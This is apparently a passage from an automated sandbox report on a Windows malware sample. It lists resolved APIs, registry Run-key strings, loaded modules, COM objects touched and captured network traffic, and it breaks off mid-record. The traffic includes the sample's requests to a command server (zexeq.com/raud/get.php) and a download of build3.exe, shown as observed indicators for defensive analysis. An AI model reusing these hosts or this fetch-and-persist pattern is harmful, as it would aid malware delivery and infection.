called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleExW (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetFileInformationByHandleW (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00003740)3b:T538,Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "CreateFile2" (Indicator: "CreateFile"; File: "00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "CreateFile2" (Indicator: "CreateFile"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp")3c:T42a,Found reference to API "MoveFileA" (Indicator: "MoveFile"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "MoveFileWithProgressW" (Indicator: "MoveFile"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "MoveFileWithProgressW" (Indicator: "MoveFile"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "MoveFileA" (Indicator: "MoveFile"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "MoveFileWithProgressW" (Indicator: "MoveFile"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "MoveFileA" (Indicator: "MoveFile"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "MoveFileW" (Indicator: "MoveFile"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")3d:T426,Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp") Found reference to API "CommandLineToArgvW" (Indicator: "CommandLineToArgv"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp")3e:T5a6,Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp")3f:T9a8,"Software\Microsoft\Windows\CurrentVersion\Run" in Source: 14449-65-00411CD0 "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00005112.00000000.151810.00400000.00000040.mdmp 00000000-00005112.00000001.153729.00400000.00000040.mdmp 00000000-00005112.00000002.155651.00400000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00005112.00000000.151810.00400000.00000040.mdmp 00000000-00005112.00000001.153729.00400000.00000040.mdmp 00000000-00005112.00000002.155651.00400000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005112.00000000.151810.02BF0000.00000004.mdmp 00000000-00005112.00000001.153729.02BF0000.00000004.mdmp 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00005112.00000000.151810.02BF0000.00000004.mdmp 00000000-00005112.00000001.153729.0596A000.00000004.mdmp 00000000-00005112.00000002.155651.059D2000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00005112.00000001.153729.02BF0000.00000004.mdmp 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00005112.00000001.153729.0596A000.00000004.mdmp 00000000-00005112.00000002.155651.05960000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}" in Source: 00000000-00005112.00000001.153729.0596A000.00000004.mdmp 00000000-00005112.00000002.155651.05960000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005112.00000001.153729.0596A000.00000004.mdmp 00000000-00005112.00000002.155651.05960000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}" in Source: 00000000-00005112.00000001.153729.0596A000.00000004.mdmp 00000000-00005112.00000002.155651.05960000.00000004.mdmp "Software\Microsoft\EdgeUpdate\ClientState\" in Source: 00000000-00005112.00000002.155651.05810000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00005112.00000002.155651.05810000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00005112.00000002.155651.05A00000.00000004.mdmp40:T162c,"GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua" Response ==> HTTP/1.1 429 Too Many Requests Date: Sun 06 Apr 2025 09:47:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST GET PUT OPTIONS PATCH DELETE Access-Control-Allow-Headers: X-Accept-Charset X-Accept Content-Type Server: cloudflare Cf-Cache-Status: DYNAMIC CF-RAY: 92c05cca7c09ce74-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C6C696E6B2072656C3D227374796C6573686565742220687265663D22636C61737365732F7374796C652E6373732220747970653D22746578742F6373732220....... "GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua" Response ==> HTTP/1.1 429 Too Many Requests Date: Sun 06 Apr 2025 09:47:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST GET PUT OPTIONS PATCH DELETE access-control-allow-headers: X-Accept-Charset X-Accept Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B4AWxm8r2P2lH6S6VTWpkjBJV5ysdmTi0G%2BT%2F2Fo1TSG0ZgkIJPHoT9k3sKiSjnFEGS5cJIPIp3kOUFw%2BkNBIkJfwzKouL849xH8RYZDoeubr1HLJpyVnh9rNpP5"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 92c05cff5c83642f-SJC alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1726&min_rtt=1590&rtt_var=693&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2808&recv_bytes=495&delivery_rate=1836477&cwnd=249&unsent_bytes=0&cid=ca45ee8950d878b7&ts=655&x=0" with response body ==>3C6C696E6B2072656C3D227374796C6573686565742220687265663D22636C61737365732F7374796C652E6373732220747970653D22746578742F6373732220....... "GET /raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com" Response ==> HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Sun 06 Apr 2025 09:47:21 GMT with response body ==>3C21444F43545950452068746D6C3E0A2020202020202020202020203C68746D6C3E0A2020202020202020202020203C686561643E0A20202020202020202020....... "GET /raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com" Response ==> HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Sun 06 Apr 2025 09:47:27 GMT with response body ==>3C21444F43545950452068746D6C3E0A2020202020202020202020203C68746D6C3E0A2020202020202020202020203C686561643E0A20202020202020202020....... "GET /raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com" Response ==> HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Sun 06 Apr 2025 09:47:32 GMT with response body ==>3C21444F43545950452068746D6C3E0A2020202020202020202020203C68746D6C3E0A2020202020202020202020203C686561643E0A20202020202020202020....... "GET /raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com" Response ==> HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Sun 06 Apr 2025 09:47:37 GMT with response body ==>3C21444F43545950452068746D6C3E0A2020202020202020202020203C68746D6C3E0A2020202020202020202020203C686561643E0A20202020202020202020....... "GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com" Response ==> HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Sun 06 Apr 2025 09:47:42 GMT with response body ==>3C21444F43545950452068746D6C3E0A2020202020202020202020203C68746D6C3E0A2020202020202020202020203C686561643E0A20202020202020202020....... "GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua" Response ==> HTTP/1.1 429 Too Many Requests Date: Sun 06 Apr 2025 09:48:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST GET PUT OPTIONS PATCH DELETE access-control-allow-headers: X-Accept-Charset X-Accept Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HBGXA1pLImhCbdjyf6thLvPQt2SBcTmlIoCXFz1AuEn7T2YAFlCnDRmAoiitYDiks9YjnH72IEih2oTf7essXqCAb6EaW129tJWo87ppZgsYecbXxcJdTyW4y8T0"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 92c05df2097415f7-SJC alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1971&min_rtt=1922&rtt_var=755&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2807&recv_bytes=495&delivery_rate=1519250&cwnd=239&unsent_bytes=0&cid=f60d669fb9a7f66e&ts=671&x=0" with response body ==>3C6C696E6B2072656C3D227374796C6573686565742220687265663D22636C61737365732F7374796C652E6373732220747970653D22746578742F6373732220.......41:T1c4a,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74a80000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74a80000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74a80000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "KERNEL32" at base 74640000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72ec0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "MSIMG32.DLL" at base 72e10000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "KERNEL32.DLL" at base 74640000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "USER32" at base 761d0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "NTDLL.DLL" at base 77270000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73740000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "RPCRT4.DLL" at base 73d10000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "SSPICLI.DLL" at base 73c90000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "USER32.DLL" at base 761d0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 72ac0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "WINHTTP.DLL" at base 72a10000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 72ac0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 72f40000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 74640000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "MSISO.DLL" at base 729b0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 729a0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 72950000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 74710000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 728e0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "MSKEYPROTECT.DLL" at base 728d0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 74950000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72840000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 768f0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 727f0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSWOW64\CRYPTNET.DLL" at base 727f0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 747c0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "CRYPTNET.DLL" at base 727f0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 727d0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "WS2_32.DLL" at base 74710000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "PSAPI.DLL" at base 76530000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "SHELL32.DLL" at base 74dc0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 73150000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 731e0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 726a0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 74dc0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 73580000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 74a80000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 73fe0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\SFC_OS.DLL" at base 72660000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 729d0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "MSISO.DLL" at base 72950000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 728f0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 72880000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "MSKEYPROTECT.DLL" at base 72870000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\DRPROV.DLL" at base 730e0000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\NTLANMAN.DLL" at base 73070000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\DAVCLNT.DLL" at base 73050000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "CSCAPI.DLL" at base 73000000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "ADVAPI32.DLL" at base 76870000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "NETAPI32.DLL" at base 72680000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "MSIMG32.DLL" at base 72690000 "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7294000042:T8de,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched "TaskScheduler class" (Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched "Known Folder Manager" (Path: "HKCU\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS")43:T631,Process "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (UID: 00000000-00000260) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", PROCESSOR_ARCHITEW6432="AMD64"" Process "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (UID: 00000000-00000260) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "icacls.exe" (UID: 00000000-00003292) was launched with new environment variables: 